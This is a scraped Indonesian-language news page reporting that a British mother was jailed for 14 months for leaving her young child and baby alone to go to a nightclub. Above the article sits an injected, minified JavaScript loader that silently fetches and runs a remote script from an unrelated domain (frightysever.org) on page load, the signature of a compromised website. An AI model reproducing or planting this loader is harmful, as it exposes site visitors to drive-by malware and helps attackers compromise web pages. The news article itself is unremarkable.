(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: INTERNASIONAL

Tinggalkan Anak Kecil dan Bayi di Rumah Demi Dugem, Ibu Dibui 14 Bulan


KANALKALIMANTAN.COM, STAFFORDSHIRE – Seorang perempuan di Inggris dihukum 14 bulan penjara karena terbukti bersalah meninggalkan anak dan bayinya sendiri di rumah untuk pergi ke klub malam.

Menyadur News.com.au, Senin (24/8/2020), Laura Hopkins kedapatan sengaja meninggalkan anak-anaknya tanpa pengasuhan untuk berpesta di klub malam Pink, Staffordshire. Di rumah sendirian, sang bayi menangis hingga basah kuyup karena mengompol. Tak hanya itu, bayi dan anak perempuan ini ditinggalkan tanpa diberi penghangat ruangan.

Sang bayi dan anak perempuan kecil kemudian mendapatkan pertolongan setelah seorang tetangga yang curiga, nekat masuk ke rumah Hopkins karena terus mendengar suara tangisan anak Lantaran rumah dalam keadaan terkunci, si tetangga terpaksa memanjat dan masuk melalui jendela.

Dia menemukan si anak perempuan dalam keadaan menangis dan gemetar, serta sang bayi yang basah kuyup akibat air seni. Tetangga tersebut kemudian membawa dua anak malang ini ke rumahnya hingga Hopkin pulang pada 06.00 pagi.

Hopkins rupanya nekat bertandang ke klub meski dia tak berhasil menemukan pengasuh anak. Ibu ini kemudian diringkus pihak kepolisian atas tindakan abai terhadap dua orang anaknya yang masih dibawah 16 tahun.

Jaksa penuntut umum Caroline Harris mengatakan kondisi rumah Hopkins dingin sementara bayinya basah kuyup terkena air seni. “Anak (perempuan) itu berkata dia telah mencoba memberi makan bayi itu dan menuangkan susu langsung dari botol saat dia kesulitan untuk membuka tutup botol,” ujar Harris.

Kepada majelis hakim, perempuan ini kemudian mengaku bersalah atas dua pelanggaran perilaku kejam terhadap seseorang yang berusia di bawah 16 tahun. Ibu yang sebelumnya juga dihukum akibat kasus percobaan pembunuhan ini telah dijatuhi hukuman kurungan selama 14 bulan.(suara)


Desy Arfianty

Recent Posts

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

1 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

4 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

16 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

18 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

19 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

20 jam ago

This website uses cookies.